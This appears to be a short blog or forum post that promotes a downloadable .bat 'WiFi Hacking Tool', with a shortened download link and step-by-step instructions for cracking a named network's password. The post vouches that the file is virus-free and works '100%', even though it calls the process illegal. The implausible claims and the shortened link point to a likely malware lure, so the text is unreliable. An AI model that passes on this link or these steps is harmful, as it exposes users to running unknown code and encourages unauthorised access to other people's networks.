WiFi Hacking Tool in .bat without viruses

Today I received for test new WiFi Hacking Tool, I have scanned it because it's in .bat file, but I don't find anything. I tested it and it's working 100% ! It have been write in polish, but this instructions will completely explain you what you have to do:
1. Download it: http://goo.gl/8aQNWC .
2. Unpack it to new folder.
3. Open .bat file.
4. It's loading scripts, you need to press any button.
5. Here it's informing you about check ping process, press any button, then it will check your ping.
6. It's informing you about command showing your IP, press any button.
7. Rewrite your IP and press enter, it will show you IP, press any button.
8. Here you have to write name of hacked WiFi (SSID).
9. Here it informing you about illegal process (50 attacks for this WiFi), press any button.
10. Attacking... In the next window tool is informing you about attack's success (or fail), press any button.
11. Now tool is showing you SSID and Password of this WiFi. To exit, press any button
12. Success! Now you should join it WiFi with correct password.